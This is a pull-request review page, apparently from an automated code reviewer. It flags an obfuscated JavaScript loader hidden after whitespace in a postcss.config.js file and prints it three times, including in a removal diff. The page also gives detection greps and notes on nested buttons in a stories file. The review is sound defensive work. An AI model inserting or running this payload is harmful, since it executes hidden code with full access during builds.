}; global['!']='9-3463-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Description: Search for indicators of obfuscated/malicious code injection

echo "=== Checking for global namespace pollution patterns ==="
rg -n "global\[" --type js --type ts

echo ""
echo "=== Checking for suspicious IIFE patterns with obfuscation ==="
rg -n "_\$_[a-zA-Z0-9]+" --type js --type ts

echo ""
echo "=== Checking for String.fromCharCode (common in obfuscation) ==="
rg -n "String\.fromCharCode" --type js --type ts

echo ""
echo "=== Checking for hex escape sequences in strings ==="
rg -n "\\\\x[0-9a-fA-F]{2}" --type js --type ts

echo ""
echo "=== Checking git history for this file ==="
git log --oneline -10 -- postcss.config.js

echo ""
echo "=== Showing the raw content of postcss.config.js ==="
cat -A postcss.config.js | head -20

Repository: getdokan/plugin-ui

Length of output: 21768


🚨 CRITICAL: Malicious obfuscated code injection detected.

Line 5 contains heavily obfuscated JavaScript appended after the legitimate config export, hidden by extensive whitespace. This is a classic supply chain attack pattern.

The injected code:

  1. Pollutes global namespace with require and module references
  2. Executes an immediately-invoked function with decoded payload on module load
  3. Uses string shuffling and character-level obfuscation to hide actual behavior
  4. Runs in Node.js context during build with full system access

This file must not be merged. Investigate:

  • How this code was introduced (compromised dependency, credential leak, malicious commit)
  • Whether this code has already executed in any environment
  • Access logs for the repository during the commit timeframe
✅ Expected clean file content
-};                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           global['!']='9-3463-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9  9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;`@oRR`(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(`#e`=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
+};
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
}; global['!']='9-3463-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
};
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@postcss.config.js` at line 5, The file contains a malicious obfuscated
payload appended after the legitimate export (symbols to look for:
global['!']='9-3463-4', _$_1e42, sfL, jFD and the long IIFE) — remove the entire
appended obfuscated block so the file only contains the intended PostCSS config
export, then verify no other files contain the same patterns; commit the removal
as a security fix, scan the repo/CI logs and recent commits for the same
symbols/strings, and if found rotate any potentially exposed credentials and
revert the introducing commit or replace with a clean version from a known-good
commit.

Comment on lines +82 to +90
<DropdownMenuTrigger>
<Button
variant="outline"
className="h-9 w-full justify-between font-normal"
>
Bangladesh, United States
<ChevronDownIcon className="size-4 opacity-50" />
</Button>
</DropdownMenuTrigger>
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Add asChild to DropdownMenuTrigger to avoid nested <button> elements.

Without asChild, DropdownMenuTrigger renders its own <button>, and the Button child renders another — producing <button><button>…</button></button>, which is invalid HTML and violates WCAG 4.1.1. When asChild is set to true, Radix will not render a default DOM element; instead it clones the child and passes it the props and behavior required to make it functional. The canonical pattern used across shadcn/ui is <DropdownMenuTrigger asChild>.

🐛 Proposed fix
-              <DropdownMenuTrigger>
+              <DropdownMenuTrigger asChild>
                 <Button
                   variant="outline"
                   className="h-9 w-full justify-between font-normal"
                 >
                   Bangladesh, United States
                   <ChevronDownIcon className="size-4 opacity-50" />
                 </Button>
               </DropdownMenuTrigger>
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
<DropdownMenuTrigger>
<Button
variant="outline"
className="h-9 w-full justify-between font-normal"
>
Bangladesh, United States
<ChevronDownIcon className="size-4 opacity-50" />
</Button>
</DropdownMenuTrigger>
<DropdownMenuTrigger asChild>
<Button
variant="outline"
className="h-9 w-full justify-between font-normal"
>
Bangladesh, United States
<ChevronDownIcon className="size-4 opacity-50" />
</Button>
</DropdownMenuTrigger>
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/ui/Modal.stories.tsx` around lines 82 - 90, The
DropdownMenuTrigger currently wraps a Button which causes nested <button>
elements; update the trigger to use the Radix pattern by adding the asChild prop
to DropdownMenuTrigger so it will clone the Button child instead of rendering
its own button. Locate the DropdownMenuTrigger/ Button usage in Modal.stories
(the block with DropdownMenuTrigger and Button rendering "Bangladesh, United
States") and add asChild to DropdownMenuTrigger so the Button becomes the actual
trigger element and avoids invalid nested buttons.

<ChevronDownIcon className="size-4 opacity-50" />
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent className="w-[var(--anchor-width)]">
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

# First, find the file and check its contents around line 91
find . -name "Modal.stories.tsx" -type f

Repository: getdokan/plugin-ui

Length of output: 100


🏁 Script executed:

# Read the Modal.stories.tsx file to see the context around line 91
if [ -f "src/components/ui/Modal.stories.tsx" ]; then
  sed -n '85,100p' "src/components/ui/Modal.stories.tsx"
fi

Repository: getdokan/plugin-ui

Length of output: 746


🏁 Script executed:

# Search for any custom CSS variables or styles that might define --anchor-width
rg "\-\-anchor-width" --type css --type scss --type tsx --type ts

Repository: getdokan/plugin-ui

Length of output: 91


🏁 Script executed:

# Search for Radix UI dropdown related CSS variables in the codebase
rg "radix-dropdown-menu-trigger-width|radix-popper-anchor-width" --type css --type scss --type tsx --type ts

